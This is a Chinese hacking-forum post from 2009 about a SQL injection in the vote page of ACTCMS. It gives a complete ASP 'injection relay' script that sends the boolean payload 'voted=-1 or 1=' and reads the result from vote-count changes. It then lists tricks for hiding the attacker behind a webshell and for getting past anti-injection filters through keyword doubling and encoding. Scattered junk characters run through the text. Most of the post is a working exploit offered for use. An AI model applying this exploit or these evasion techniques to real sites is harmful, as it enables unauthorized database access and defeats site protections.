注入中转的高级应用，actcms漏洞以及其他

admin

6 U- q  q8 J# e( N8 W5 t( z看到ninty大牛的blog的一篇文章
2 o& k8 H+ A6 m$ E链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
' e# `4 e! c" U" J: h关于actcms漏洞的利用  by 3x qq:381862589
8 o7 H" R9 K0 M/ r2 f转载请注明以上
漏洞文件：
! n: @7 g7 W5 e/plus/vote/vote.asp
代码： 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   

2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   

3    response.end   

8 D6 X' Z4 d+ j3 Y4    end if   
* O+ ?. r" M3 @- {5 ~
& C/ f( F7 S& I$ u* z5    for i=1 to request("voted").count   
, \$ O! l2 F2 k6 v, m1 r
6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   
+ A, e0 L5 F6 r" s! q2 q
7    next   
: W) ~4 e2 {8 O: G, S- l# `  y
8....   
3 M: |3 C; i9 E( \) g5 M# y  E$ i
9response.Redirect "index.asp?id="&id&""   
投票结束回跳转回index.asp这个投票结果页面
如果投票成功票数加1
  K1 j' g9 ~- p1 p1 L            失败票数不变
- H- Z9 c' W- |- N如图：
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
! i* J8 L$ o- V7 |; s8 t1 q. m% \
+ k6 }  ~( D+ L/ [% S7 [0 p2009-12-27 13:20
+ E3 T. L' ~) V; b4 H8 I0 C
2 o. O! y! ~$ y/ e4 ~% I利用这点来注入，由于ninty大牛学java的，但是java运行环境实在是。。。。不说了
0 h7 ]9 P9 c: f( S& j
本帖隐藏的内容需要回复才可以浏览
( R2 k4 w3 B5 s; v8 T1 _( P' ]我们用注入中转来实现这个注入具体代码如下：
. R: _! q& t$ X; A9 ^2 e* Q! d先用寂寞的刺猬大牛的注入中转生成jmget.asp
注入地址：http://localhost/actcms/plus/vote/vote.asp
) y/ O( s  K* G1 I6 F注入键值：id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了，不用去判断有什么投票选项
: B) v* ]# t  p& L7 x  [) C3 x
  n  {% O2 L( Q- Q* @# P然后进行修改变成如下代码： 链接标记预览源代码 链接标记打印链接标记关于01<%
" F7 a& b8 h8 S" y$ B# a
02JmdcwName=request("jmdcw")
8 i5 k" z8 |) m" b
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]

04JmStr="id=1&voted=-1 or 1="&JmdcwName

* @# }: r, F3 \6 _% T05JmStr=URLEncoding(JmStr)

06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"

  Y6 T/ ^1 D: z07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
+ [6 o5 R. o, f. z- R2 z8 U  I
08testurl=testurl & "?" & JmStr

- F4 E; E1 X) G  E. @, N09JMUrl=JMUrl & "?" & JmStr

% K0 {+ N3 {; {. N9 P10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"

# x8 r# h! x$ Z: ~/ S11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"

12JmCok=replace(JmCok,chr(32),"%20")  
5 G/ a* A: c3 l" X. w9 B7 I
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
5 X4 j1 s5 M1 n
" h& i& U# E3 t- I14  
7 @$ z$ I9 q6 O/ s- d1 i) U8 N
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
, B( Q) U$ K$ J* Z- |
16  

+ @/ D  H6 s7 b% z1 ]9 a2 C17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
. \8 p- j) Z' l
18response.write test1&""&test2&""
+ E& F* {* x/ i
19  
) U* Z$ `, P1 ~! I
20if test1=test2 then '如前后记录相等，表示失败
$ |# C; l: k1 `
21  response.write "failed"
. Y2 u+ y# y' [4 y
22else
2 F5 t* K+ R' v( G( ]% Y2 S$ A
23  response.write "succeed"
: h! B& r4 r& L+ J9 D$ w5 i
24end if  
- d9 V6 R" m6 z9 A8 _0 b% x6 A
" w/ m' m. C9 N25  

3 A* v" S) J3 W( {" u( }26response.write "by 3x"

- [9 h' u. r2 e: Q9 D1 R27  

7 Y! G' q7 e9 M3 H* R28  
3 i3 D" k; y/ M' Q6 u+ I) M2 E$ X
29Function PostData(PostUrl,PostStr,PostCok,PostRef)   
  i; `( b! I5 }+ J& h( o
30Dim Http

( r& P; M* \" O$ w0 q31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")

32With Http
$ s  |1 Y" e. L# r) x) [! C5 ?
+ D. A$ q% k0 i33  
' D. n0 U7 ?' _1 ^5 ?3 [( x
$ \# q+ |0 a9 `# V34.Open "GET",PostUrl,False

2 w& N2 Z& {$ c6 N6 y35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"

36.SetRequestHeader "Referer",PostRef
  y, _" M2 R( b& y# T3 V: }3 e' S
37.SetRequestHeader "Cookie",PostCok

) o# W, D  ]1 v1 K- I5 V38.Send ()
1 h2 u! i0 s' j1 L0 h+ C
39PostData = .ResponseBody

40End With
# {- {( F+ y1 r1 U) ~& d  l6 Y# ]+ @
6 `3 ?7 j; r9 g7 q6 I41Set Http = Nothing
+ V) B- B9 E/ G% q$ P5 ?
' `+ x  G  Q/ G5 c( p# W42PostData =bytes2BSTR(PostData)

43End Function
' i* s( l+ A" f) O
! h+ L% C- l2 \0 Z44  
# J6 l3 F6 c: I' x' q
7 K7 u+ F( i$ D/ v5 o45  

7 `# n* q+ m/ R3 O46Function bytes2BSTR(vIn)
' Q8 a5 p+ G# Z2 a
47Dim strReturn

48Dim I, ThisCharCode, NextCharCode

49strReturn = ""

3 \, c) T- B- y8 U50For I = 1 To LenB(vIn)
' ^$ {" ~  \7 m$ |% ?- I! X
9 k, U1 k9 M2 ?: u6 P/ v, R51ThisCharCode = AscB(MidB(vIn, I, 1))

52If ThisCharCode < &H80 Then

53strReturn = strReturn & Chr(ThisCharCode)

54Else

55NextCharCode = AscB(MidB(vIn, I + 1, 1))
+ C1 c" z3 `4 y. N7 `' m# g  j
. p2 ?: [! B1 |56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))

" j6 y' @4 ^% p6 C0 `. r; v1 E57I = I + 1

3 g8 M' B& O+ B9 J; p58End If
. U1 t& N& m: m5 G1 j
8 B2 _, M3 O3 T59Next

60bytes2BSTR = strReturn

61End Function

62  

6 s' e* ]5 I4 k/ n63Function URLEncoding(vstrin)  
) c3 }# k/ A$ F& M
: Y, x0 A* |2 `8 O( Z& y7 L1 p64strReturn=""

  S) I9 b: m! \' Y8 I65Dim i

; o: _* J2 J% d- @' G66For i=1 To Len(vstrin)
, g! y. ]7 l1 ^) l, N: h+ Q2 R
67ThisChr=Mid(vstrin,i,1)
3 d9 |' x+ ^6 n5 y2 p/ `/ d, Q- x5 ]
. q5 G+ I! y/ E) i1 H  k+ u68if Abs(Asc(ThisChr))< &HFF Then

69strReturn=strReturn & ThisChr

9 j# ?2 W# |+ G5 A70Else

71InnerCode=Asc(ThisChr)
! e: |9 c8 K3 b2 x4 q, i* T
3 m# w6 E! V# P$ g72If InnerCode<0 Then

73InnerCode=InnerCode + &H10000

74End If

; w& w5 b2 y4 L8 E' d75Hight1=(InnerCode And &HFF00) \&HFF

* d, a8 R6 w$ Q76Low1=InnerCode And &HFF
  R6 E0 a7 n# o/ f( m! B  o
" k" U% t# |0 h! x4 O# j( o* a77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
2 J( @/ H% T* A) T  a
7 t: r. h6 [+ }( Y$ K$ d78End if
/ P* {5 B# U! K7 [1 J% V) d1 J
79Next

. a. X$ B; k/ \; k80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20

81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符
- U- A+ i( M5 t5 z+ t  t
' G8 V2 i' z2 g( K82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码
0 y" r4 T1 ^7 x! F
83URLEncoding=strReturn
0 ]& b1 J2 q$ Q+ a
84End Function
) K' L3 d& \5 H# [% I* [
85  

5 y; a- _' L& s3 }" a( m1 H86function getSt(body)
+ @" V! P3 v5 }9 X
87  startpot=instr(body,"投票人数：")+len("投票人数：")

; r; z' F  d. M/ m- R7 E8 l9 Z88  endpot=instr(startpot,body," ")
1 Y2 v) b" v; K+ S) U2 J( t2 ?1 }
89  getSt=mid(body,startpot,endpot-startpot)

/ k: ~- p' c4 N9 I0 j90end function
3 I/ U# j0 B( u
* u* Y" C% }; s1 o91%>
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了
测试下效果：
投票成功：
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
; H# D1 d. o1 r
2009-12-27 13:29
: p$ C* C3 F1 W  u5 K1 H5 _) A投票失败
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
* }# J+ p! L' t% M; y9 V
2009-12-27 13:29
6 V2 d! R4 u9 U. A$ l8 @* U8 M-------------------------------------------------------------------------------
& q( I3 t8 l4 r. [% `0 e' U1 {再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因，明小子等注入工具是多线程的，而这个投票人数的变量没进行锁的机制。。。所以
& W8 u! N1 V  c. R9 `: E很抱歉。。。只能用单线程工具去注入。。。。。
所以失败。。。不好意思。。。
# m0 z% n2 B" H! z. Y-------------------------------------------------------------------------------

注入中转的一些其他应用
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
1.普通的get型的注入点如果中转一下，放到我们的webshell上跑，有效的隐藏我们的id
2.post注入转成get型的注入，方便我们使用工具来跑
9 G; o6 o+ s2 L+ k8 {  Z3.在一些cms或者一流拦截系统，过滤了selelct等关键词，这里的过滤指的是replace，我们可以在代码中进行转化，replace(jmstr,"select","sselectelect")，这样我们就可以用工具了，对于一流拦截的突破就replace(jmstr,"%20","%09")
/ l1 M+ Y- _$ S$ b, Y- M) b+ W5 f4.在某些防注入系统中的突破，上次我遇到一个防注入，大家应该也很熟悉，可以通过id--->%69d来绕过，但是如果是post的呢？我把他中转成get型的，但是注入键值我改成%69d=，成功绕过
9 D7 U5 Y3 [' S- ?
5 v: J! {& O" f5 o  Y7 U( o6 I